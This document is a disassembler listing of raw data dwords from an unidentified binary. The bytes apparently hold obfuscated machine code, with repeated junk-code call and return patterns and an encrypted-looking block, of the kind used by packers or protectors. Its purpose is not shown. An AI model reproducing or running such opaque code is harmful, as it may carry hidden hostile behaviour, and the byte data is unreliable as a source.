		dd 0BB662AD4h, 815B3266h, 284A2404h, 0D6B7366Fh, 0A4A4858Dh
		dd 0B5290609h, 6061161h, 26A5BD23h, 8B500606h, 240489DAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 82C35141h
		dd 0C0589C2Ah, 28BDBD89h, 0DC8A0606h, 222195FFh, 0FB8B0606h
		dd 0DF4FB9BFh, 0BD316168h, 6060885h, 2E4985C7h,	30606h
		dd 8B0F0000h, 4, 7EBEBF66h, 0F549BB66h,	0A4A4BD83h, 0F000609h
		dd 1184h, 99D8B00h, 0E906060Fh,	21h, 76CDEB81h,	30506659h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 21B589C0h, 6A060620h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0BF12C351h,	177FD8BCh
		dd 2E49BD83h, 0F030606h, 3AD85h, 31BD0B00h, 83060622h
		dd 9A4A4BDh, 840F0006h,	39Ah, 2A6DBD01h, 0B5FF0606h, 609A4A4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FDC35646h
		dd 0DBBF0FC3h, 0D7195FFh, 6A0606h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0BB818CC3h, 24351FA7h
		dd 0A498B58Bh, 8FB30609h, 106C7h, 9D890001h, 6060449h
		dd 0C155BF96h, 66502094h, 6A96F98Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A5A2C357h
		dd 0E57FE2ECh, 0BD8B534Fh, 6061BD5h, 0A4A4B5FFh, 6A0609h
		dd 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 9BC21CC3h, 41C9AA38h, 0D8D094Ah, 0FF06061Ah,	61E4995h
		dd 7D8D8906h, 8B06062Dh, 9A498B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B7F2BD3h
		dd 62FC585h, 8C0F06h, 89000000h, 0C486h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 80C4820Ch, 0DD958B69h, 6A060628h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F201C353h
		dd 0FEBF0F1Ch, 0E904C283h, 0Bh,	5F9860F9h, 0C9BD1E56h
		dd 89D78A12h, 6A2050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 858D47C3h, 609B775h, 3A99D0Bh, 86890606h
		dd 0B8h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 14h,	95C35747h, 4DBD2Bh, 6A0606h, 81D3BF66h,	5850Fh
		dd 33BF0000h, 0FF61D8B1h, 9A4A4B5h, 419D0B06h, 0FF06062Dh
		dd 62C1D95h, 0F3816606h, 0E8502F48h, 7,	0A5918DFBh, 0E9B051D9h
		dd 0Fh,	64B3678Fh, 0BFA4B4B5h, 0DA2375ACh, 5B5E42BFh, 8A243489h
		dd 0A4B5FFF9h, 0F0609A4h, 68Ah,	7D9D8B00h, 0FF06060Fh
		dd 61CA595h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 66295AA2h, 0E8D864BFh, 0Eh, 1253E8E6h
		dd 0DE37195Ch, 66705119h, 0CB815C73h, 1AE3685h,	99BD835Bh
		dd 6061Ch, 35840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0E61F90C3h, 9D893226h
		dd 6062C71h, 433BBB50h,	34890B22h, 0F5BD8B24h, 0FF06062Bh
		dd 9A4A4B5h, 9DBD8B06h,	0FF06062Ch, 61FFD95h, 0F9B58906h
		dd 0FF060623h, 9A4A4B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BBB0F8Ch, 0FF648AABh
		dd 62B1995h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 9AA7A8D2h, 1AA99D23h, 0BD830606h
		dd 6062F65h, 59840F02h,	89000000h, 603C985h, 0F1858B06h
		dd 6A060615h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 6AB3C350h, 6B1210DAh, 0EA76EB81h
		dd 0C60C50h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 9221FC1Ch, 540C0EC1h, 34D85C7h, 606h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0FC003AC3h, 0E7E99425h, 6AFFFFF3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0E749C353h, 9260734Ah, 52DE4ECAh, 9D8BC18Bh,	6061EE5h
		dd 2369858Dh, 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0BD8B85C3h, 6061CA9h, 0B0BF6650h
		dd 24048952h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	0B6C35040h, 399D8BBBh, 6A060608h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 19229C34h, 0DE8B660Dh, 2F35BD8Bh, 6A0606h, 1D219D8Bh
		dd 858D0606h, 60B01B4h,	68B0Fh,	9D010000h, 6060471h, 0D659D8Bh
		dd 0C0830606h, 3820F05h, 66000000h, 0E950F88Bh,	14h, 0C09FC386h
		dd 47C6AE5h, 22E3E081h,	2DE624A6h, 0BC4B97E9h, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0BBA6C352h, 7A7B0379h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3C4B17C3h
		dd 3F954C8Ch, 3B19D89h,	0B70F0606h, 66006ADAh, 0FF6791BFh
		dd 62F9D95h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0C33A4199h, 0F7C1233h, 681h, 91BD8B00h
		dd 8D06062Dh, 995158Dh,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 8F72FB69h, 0D03DA1BFh
		dd 0B8B35E49h, 2BADBD8Bh, 0D1FF0606h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 77C35747h, 0C1DA45FEh, 7E8h
		dd 0EE422F00h, 1171DC20h, 1F459D8Bh, 835B0606h,	61D3DBDh
		dd 850F0106h, 81h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 5CC35343h, 23C96C8Ch,	6A7B04CEh, 52006A02h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 21B3148Bh, 0C25EBB90h, 66501CE2h, 2990DE8Bh,	60451BDh
		dd 1D95FF06h, 6A06062Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 9C6EC352h, 81D56F3Ch
		dd 4B7428CBh, 0CEEE92Eh, 0E80000h, 5D000000h, 1BEED81h
		dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 50EBE1C3h, 53937064h, 2AB1B501h, 858D0606h
		dd 6098EE5h, 1DB58960h,	8B060614h, 61E8985h, 0F506106h
		dd 0C80h, 850F6000h, 0
		dd 3430BA66h, 24048961h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0ABC35242h, 3DECCE3Bh, 0BFA07B4Dh, 3F287BD3h
		dd 35FF64h, 0F000000h, 581h, 256FBF00h,	89645263h, 25h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0D8F4E05Ch, 3103A6DBh, 31159D89h, 9E90606h
		dd 5A000000h, 2083480Bh, 928469Bh, 0F5D85FFh, 0DF800606h
		dd 89FF6A4Eh, 6314985h,	65B5FF06h, 66060611h, 95FFF98Bh
		dd 60612FDh, 120E9h, 0CF816600h, 0B0284Ah, 0E6F98B66h
		dd 0D88B6670h, 0BD8B71E4h, 6060265h, 830F613Ch,	101h, 55BD8960h
		dd 0E9060622h, 5, 40D9B2E4h, 0B60F618Dh, 0D8BB66C8h, 6BA08h
		dd 870F0000h, 0
		dd 9589C18Bh, 60631E5h,	8A04E8C1h, 0E2F766F9h, 2BA1CF80h
		dd 0B9BD89C8h, 66060615h, 8B1DFDBFh, 5800FD1h, 66000000h
		dd 60A4DB81h, 0ACE9h, 0DD8D3100h, 8B060603h, 4E4985h, 6DBD8B44h
		dd 8306060Bh, 0B70F07C0h, 0C083DFh, 22499D23h, 0D03B0606h
		dd 3D830Fh, 9D8B0000h, 6062E55h, 78E9h,	14E900h, 56BE0000h
		dd 16EBCF6Fh, 0AB17D02Bh, 3384FCD1h, 48D3DF9Dh,	0F60B6DBh
		dd 0FE9D2B7h, 20000000h, 0B5FAA5A8h, 898F6C6Ah,	0C79601C4h
		dd 8B61B8BDh, 0FFFFFF8Dh, 0D98B66FFh, 0F01E183h, 3484h
		dd 0A8D78100h, 8349036Fh, 0FFFFFFA5h, 9589FEFFh, 6060051h
		dd 4E499589h, 0EE94400h, 0BD000000h, 5A324D2Ah,	25A9519h
		dd 7C34D644h, 0D88B662Eh, 0E9h,	6AB58D00h, 60060A81h, 25858D8Bh
		dd 5AB50606h, 6A006A61h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 6658C357h, 947002Bh
		dd 16EDE32h, 6236585h, 0C995FF06h, 6A06061Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 3640C352h, 78B2DDDDh, 5D8D2952h, 0F060625h, 8Ah, 100BB900h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0E9E573C3h, 7, 79D8721Ah,	0E8CB4E61h, 0Bh
		dd 0DABCB8BBh, 5F9C3FB2h, 8997F28Ah, 60D9DB5h, 0E1835F06h
		dd 89D98BFCh, 62F2185h,	6AFC06h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 65E319C3h, 0F3C09DBAh
		dd 9D8B53C4h, 606234Dh,	0B8h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 20FA6E9Ah
		dd 0EC7E4A68h, 0BA3B0Dh, 89000000h, 616698Dh, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 50006AF4h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 2A23ED0h, 8BD844BCh
		dd 62BF99Dh, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 89167CBCh, 6005D95h, 0D9D8906h, 0D06062Ch
		dd 88h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
		dd 5CC35242h, 0A71181F7h, 0FE9h, 76BAF400h, 5CF297Fh, 8D525289h
		dd 0BF5DFB82h, 0E499D33h, 958B0606h, 60628DDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F4C35646h, 0BA858FB8h
		dd 8BF9BF0Fh, 6136DBDh,	118D8B06h, 6A060611h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 280EC356h, 0DCD65C81h, 43D78166h, 0C28B50F8h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6A5797BFh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 6931C351h, 0E66212D1h, 8BA73FC3h, 623219Dh, 0F5BD8306h
		dd 6061Ah, 45840Fh, 0BD8B0000h,	6060FDDh, 0B8h,	899D8B00h
		dd 8D060621h, 64ED28Dh,	0FBB70F06h, 6AE1FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 154BDEC3h
		dd 82CBA693h, 66A0F0D9h, 83F8FA8Bh, 62E49BDh, 840F0006h
		dd 3D3h, 719B589h, 0BD830606h, 6062E49h, 0DB840F01h, 8B000003h
		dd 49BD83FAh, 306062Eh,	396860Fh, 9D8B0000h, 60628B1h
		dd 0D59D8B60h, 89060623h, 6278DBDh, 0D98C6606h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C2C35343h, 804FA80Ah
		dd 0C90A04E1h, 167840Fh, 0F8520000h, 89858B5Fh,	6A060625h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 49F1C355h, 248D34ADh, 339F7D47h, 6342585h
		dd 0CE906h, 1BC50000h, 0D9893A47h, 457AB6Dh, 89509272h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 8D6CD0C3h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 7C0449C3h, 0D80A68F5h
		dd 0F56E700h, 58Fh, 5D3BB00h, 815F7330h, 2BF52404h, 6A191Eh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0D7CD56C3h, 1C799D89h, 0EB810606h, 544791EDh, 0DE8h
		dd 0BAEF8400h, 22B716DFh, 3702FFF2h, 0F780FB21h, 95FF5F09h
		dd 6062221h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	8AC35646h, 0A4A48589h, 6A0609h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0C71332C3h
		dd 4C7FB3D0h, 9D8BDB1Eh, 6061DF5h, 1E9E9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 7F286C5Dh, 0F3ED26EBh, 0B5BD0BC3h, 29060626h, 62ACDB5h
		dd 9C858B06h, 6A0609A4h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 2564C356h, 0A8FDDC4Ch
		dd 0F8AFAF8h, 1F99589h,	0C70606h, 18h, 2D399D8Bh, 0B58B0606h
		dd 609A4A0h, 1A98531h, 858B0606h, 6062DA9h, 26A59D2Bh
		dd 0BD030606h, 6062179h, 858B0689h, 6062589h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3AC35646h, 21718CCFh
		dd 0ADBD8B6Dh, 8906062Dh, 6A0446h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 94369C3h, 60191B5h, 5B535006h
		dd 6A243489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0AF74C357h, 8B296855h,	633459Dh
		dd 31B58906h, 0FF060611h, 9A49CB5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 49E1D84Ah
		dd 29B29ABDh, 6216DB5h,	82AD6806h, 50607866h, 14E952h
		dd 0F73E0000h, 0A7B85C23h, 0B8CE4F2Ah, 3A6DEED9h, 2601F467h
		dd 310F402Bh, 0DE9h, 1C9D9E00h,	65BDE20Ah, 1DFD5BD4h, 585A2168h
		dd 5A83D0BEh, 3481612Bh, 79815224h, 51006A78h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 5DB84289h
		dd 0BF66A9EEh, 858D0941h, 609A4A4h, 90FFB70Fh, 8B50DA8Bh
		dd 9D8990DAh, 6061F15h,	222195FFh, 6A0606h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0A5AF84C3h
		dd 92857797h, 0F9614EFDh, 2E4985C7h, 30606h, 0BD8B0000h
		dd 60612F1h, 0A4A4BD83h, 0F000609h, 1784h, 45BD8B00h, 29060604h
		dd 62E918Dh, 21E906h, 0B5890000h, 6062515h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 0B9B3CF81h
		dd 2E49BD83h, 0F030606h, 3B685h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0AB9749ABh
		dd 2DA4B251h, 8166872Fh, 83A46BE3h, 9A4A4BDh, 840F0006h
		dd 37Fh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ch
		dd 0BBC35141h, 9D1AEFE4h, 7F7F1C60h, 0A890Fh, 8B600000h
		dd 0D9589CFh
		db 30h,	6
word_594F42	dw 6106h		; DATA XREF: ___:off_43D9E4o
		dd 0A4A4B5FFh, 0BD890609h, 6061C35h, 0D7195FFh,	6A0606h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 26E735C3h, 8EB26021h, 8B37B361h, 9A498B5h, 0CD858906h
		dd 0C7060627h, 1000106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0F314708Fh, 9D8910D8h
		dd 6062165h, 505B5196h,	7E8h, 0B575F600h, 0FB96EDDBh, 5FFB8B52h
		dd 0C781965Bh, 72D85DAh, 0A4A4B5FFh, 81660609h,	0FF7D0EE3h
		dd 61E4995h, 799D8B06h,	8B060604h, 9A498B5h, 0C5BD8B06h
		dd 0F806061Dh, 2FC5858Bh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 511304C3h, 89CAFFEAh
		dd 0BB6666C9h, 0E78182F2h, 0EA9F9D6h, 2641BD8Bh, 86890606h
		dd 0C4h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 15h,	1BC35242h, 0D1BD8BAFh, 8B06062Ch, 628DD95h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 83FC1D91h, 7E904C2h,	0E7000000h, 231298BDh, 50893F49h
		dd 50006A20h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 9853C12h, 0E5F38166h, 75858D14h,	800609B7h
		dd 868947F7h, 0B8h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 15C35545h, 859D8989h,	8B060611h, 8B006ADAh
		dd 61BE99Dh, 0A4B5FF06h, 6A0609A4h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 3303C355h
		dd 1D95FFD2h, 6A06062Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 38C6C352h, 0E8EA09AFh
		dd 10h,	0A9E1B846h, 0B4DD571Ah,	15C1A0Ch, 0F33FAFFEh, 2C619D8Bh
		dd 8B5F0606h, 0BF6696FAh, 5150E240h, 8B66965Bh,	0A4B5FFF9h
		dd 6A0609A4h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0B693C355h, 4183B7CDh,	59958960h
		dd 6106060Eh, 5FE3BB66h, 68B0Fh, 95290000h, 6062EF5h, 1CA595FFh
		dd 890F0606h, 6, 13018509h, 0BD830606h,	6061C99h, 16840F00h
		dd 0BF000000h, 7C4AD6E2h, 28A0F50h, 8B000000h, 243489D8h
		dd 6BDF8166h, 0A4B5FF15h, 6A0609A4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 52EAC356h
		dd 0FF610035h, 61FFD95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0FA8B6668h, 0A4A4B5FFh
		dd 6A0609h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 89FF20C3h, 6255595h, 1995FF06h, 2906062Bh
		dd 61EE595h, 65BD8306h,	206062Fh, 1A840Fh, 85890000h, 6061679h
		dd 15F1858Bh, 81660606h, 0C6A35EF7h, 0BD8B0000h, 60603E1h
		dd 34D85C7h, 606h, 810F0000h, 3, 0E9D8BF0Fh, 0FFFFF435h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B5C35646h
		dd 8AA6A076h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0B16C34C3h, 294C006Ah, 0B7004EBh
		dd 24E971D3h, 0E8000005h, 82A002A1h, 2644A605h,	0C8E6485Fh
		dd 6785E7BCh, 2B26881Bh, 0ADF68C42h, 4C5B2D4Bh,	0ECB7CCEAh
		dd 911A6C8Ah, 2459DA2Fh, 33CF8999h, 0AF46455Bh,	0E59DF235h
		dd 0EA0160BEh, 567C8E29h, 8FEC9A92h, 0C47C635Ah, 828892Dh
		dd 6BCA287Bh, 3368790Ah, 2DC47C8Ah, 17E3096Ah, 0B81A89F9h
		dd 8800EC9Ah, 7C07B6EBh, 8CED2DC4h, 0D6ECD2Bh, 0B6F591AFh
		dd 83B8C958h, 2DC47C3Ah, 6CA2F300h, 47A4A37Dh, 5532C0E6h
		dd 0BB9F856h, 0AFE4F59Bh, 2DC5600Eh, 0C9577DDEh, 3489BEBDh
		dd 0B82DC560h, 7694F657h, 1634960Dh, 0BAD8366Dh, 5883E1CEh
		dd 0BC013647h, 302DC55Fh, 198DA9CFh, 0A6089BE8h, 14A5FE88h
		dd 74940F74h, 0DC3B9912h, 8937EAB6h, 0A82DC560h, 4D6BC9DAh
		dd 0A40D6B3Ah, 0C710B0F6h, 60907D29h, 7A8EE59h,	44h, 0BFEC9A43h
		dd 7C11AE61h, 55F32DC4h, 7534BC51h, 133A8EDh, 6F000000h
		dd 60BEED9Ah, 545331D1h, 0BCE7A02Eh, 5F44405Eh,	9214C201h
		dd 2B8D186Fh, 992A790Dh, 7C6A5388h, 298A2DC4h, 4A43303h
		dd 3BFF257Eh, 5DBBE89Ah, 0FF5D483Fh, 43BEE896h,	0E402643Fh
		dd 0B5384AA2h, 10F7E576h, 106ECF46h, 0D4F250B1h, 244F33B1h
		dd 0C4C3CEEFh, 5CBD1E2Dh, 77F9FFEh, 7EDF3E9Ch, 584E6A20h
		dd 0EDC34BB5h, 6B0EA5A8h, 83C4DC37h, 4951D97h, 33CD88EDh
		dd 4E506DA2h, 43A42DC5h, 71951Dh, 9AD10000h, 0CE5DBBE8h
		dd 7C3588BDh, 4E832DC4h, 2DC47C6Fh, 66C72485h, 0D4D3B240h
		dd 1D893776h, 0A3059EE4h, 8EBD7D14h, 48AA1DB2h,	0B5EE9422h
		dd 5E28C857h, 6288E745h, 95F3B0D4h, 2AE3C3DFh, 0A8EE6ED6h
		dd 5591h, 0E89ACD00h, 443F5DBBh, 68C9E6A2h, 0A99EC0Ah
		dd 0AAF98EACh, 0B3F3214Ch, 0DCCAE80Dh, 4F6EA3B4h, 0A52DC47Ch
		dd 0F2901E44h, 9AFB4FB1h, 1E85FFEDh, 0A20061C0h, 0C47BD1EFh
		dd 0D99372Dh, 0ED74F000h, 0BAEF00A8h, 2DC48803h, 0E7456226h
		dd 0A4CA2B88h, 11Ch, 0EB9A5800h, 46405EBCh, 7BC5F82Dh
		dd 0C6272DC4h, 0AEDC0765h, 2D7C09F8h, 141C71CBh, 7B164E83h
		dd 21B82BC2h, 0E5C75896h, 4B163C3Ch, 186E8CEAh,	7B0B298Bh
		dd 87FF9F30h, 2A6E4566h, 7EDF2946h, 0E6D98C58h,	4233CA84h
		dd 77F8224h, 6A1C3A9Ch,	0C1C5E341h, 6D1B84E2h, 0E5BEC839h
		dd 7E7F7183h, 60E8AEF3h, 24000001h, 7001015Eh, 0C262913Bh
		dd 0B5B84F2Bh, 0DC16368Bh, 0FD5E294Fh, 0A605819Fh, 6FA4B544h
		dd 33CB5A4Eh, 89173D9Eh, 7D1DAEFDh, 0AF7BA108h,	58B6F591h
		dd 0C9BE5EEFh, 245E7CDAh, 61C2217Fh, 7A871F3Bh,	2B3D9F0Ch
		dd 0AEF453C5h, 0ABFA8B2Bh, 46FD85h, 29390000h, 6762E892h
		dd 113708E8h, 5BEC2C47h, 0C48AC726h, 96ED0D2Dh,	6C8BE359h
		dd 1374254Dh, 1CA154B2h, 7C2DC502h, 0A138584Eh,	0AD2D89Dh
		dd 2B5B7B4Ch, 75905A80h, 7E6FA435h, 6E2DC4C8h, 0C80BAB0Dh
		dd 37000000h, 0ADFC8929h, 0CAF04Fh, 112A3E3h, 7C02BBF0h
		dd 592F2DC4h, 308DEC4Ah, 8E86A9CFh, 842BC268h, 0DFA7C523h
		dd 33D362C4h, 97F6544Fh, 52A3E371h, 6E6DC0F2h, 12759547h
		dd 75D63593h, 3EB54DE4h, 53BBD22Ah, 0E4AE612Dh,	1233CA7Fh
		dd 575A7A11h, 8CEAB9CCh, 0F111162Dh, 0AE18F50Ch, 79E3920Dh
		dd 216F3753h, 44A20181h, 0EF347E2Fh, 0E6478498h, 0C0E6BDC6h
		dd 8CA15432h, 2930E188h, 46A00263h, 3C443329h, 7E6627C5h
		dd 217F245Eh, 9BD061C2h, 31D5CDCDh, 0AE45D637h,	0C3E30C6Ch
		dd 68345AC7h, 116F3C4Ah, 0B81695F3h, 5CBAE99Ah,	5F6145F3h
		dd 23A20432h, 35C6CEh, 2BDD5C68h, 881779DAh, 0A7059EE8h
		dd 5E5E2248h, 3B700101h, 2BCF762Dh, 0C958B617h,	6689E932h
		dd 0CCF202ABh, 0CA5B483Eh, 294F5C2Ah, 604B3B59h, 2D627302h
		dd 33CFE790h, 0A0E30364h, 2248A705h, 27CFE3FFh,	0DFC77560h
		dd 0B6476422h, 0D7357216h, 64825278h, 0D2B8922h, 0FF9F3077h
		dd 62C11F86h, 3652703Ch, 81DFCCBAh, 4563C122h, 0E70A683Fh
		dd 0B6E3DDC9h, 5E5F94A5h, 8E9F97F0h, 0BBEB072Dh, 0D2634046h
		dd 0F0318CC1h
		dd 62C39F97h, 3DDD6C3Ch, 433F5F46h, 0DAAC3A60h,	8D373D1h
		dd 0C4000000h, 21476424h, 9A065A5Dh, 4462C0EFh,	0ED0B6942h
		dd 93B10F96h, 3A58B6F5h, 0DFFD5B48h, 84A200A3h,	2745A300h
		dd 0CBE9475Eh, 1B93F1BCh, 4EC81h, 3C890000h, 81E78924h
		dd 4C7h, 4EF8300h, 5C243C87h, 6AE868h, 24148900h, 81E78957h
		dd 4C7h, 4EF8300h, 5C243C87h, 56243C89h, 0B0EB2BEh, 8BF28906h
		dd 0C4812434h, 4, 3C3668h, 24248900h, 4240483h,	4509685Fh
		dd 4890000h, 89D08924h,	0FF580847h, 835F2434h, 34FF04C4h
		dd 0C4815A24h, 4, 0FB69B0E9h, 4F8552FFh, 434AD773h, 0B83F22D2h
		dd 60B1357h, 0E0FFC503h, 5A03E399h, 602FD2B6h, 737620BBh
		dd 7049D258h, 72B35819h, 7C88DF3Bh, 7F947E74h, 56AC6F7Ah
		dd 4102781Fh, 2B881620h, 91E7EE7h, 1F1FA52Bh, 57D229F3h
		dd 24007341h, 349090CCh, 29CE574Ah, 56A07DAAh, 41D69463h
		dd 3EC3BC3Eh, 3F00E0D3h, 18096BB9h, 748D36F2h, 0A862BE4h
		dd 499AA1C4h, 75AE7772h, 7F091D52h, 66E1826Dh, 0C40D6B6h
		dd 4542AC37h, 42CB8BF5h, 4DD9F50Dh, 5901EAAAh, 2369858Dh
		dd 9E90606h, 7A000000h,	76AD636Fh, 5C4D0448h, 26519501h
		dd 8B500606h, 240489DEh, 43F6CF81h, 6A5B67h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BDC35141h, 0E3FA831Ah
		dd 0F585313Ch, 6A06061Fh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9D8BAF1Fh
		dd 6061349h, 166C858Dh,	0BD8B060Bh, 60612F9h, 68D0F50h
		dd 89000000h, 620698Dh,	0C0835F06h, 81666005h, 0E8933BD2h
		dd 11h,	0BAC6BC64h, 3E9EDBF0h, 2FA5F760h, 0DB69ABCFh, 0AE20BFE1h
		dd 615E54F2h, 0F208BF50h, 4893CCDh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BD8BBD3Fh
		dd 6061B65h, 2B358589h,	6A0606h, 68E0Fh, 0BD8B0000h, 6060755h
		dd 11E9006Ah, 9A000000h, 2DED109Bh, 0BCD5D89Eh,	6F3EC741h
		dd 372300E7h, 2F9D95FFh, 0BB660606h, 8D8DDCAEh,	6099515h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0BC35040h
		dd 44F25996h, 0B7EE4346h, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 2DBDDAC3h, 0AF79EEh
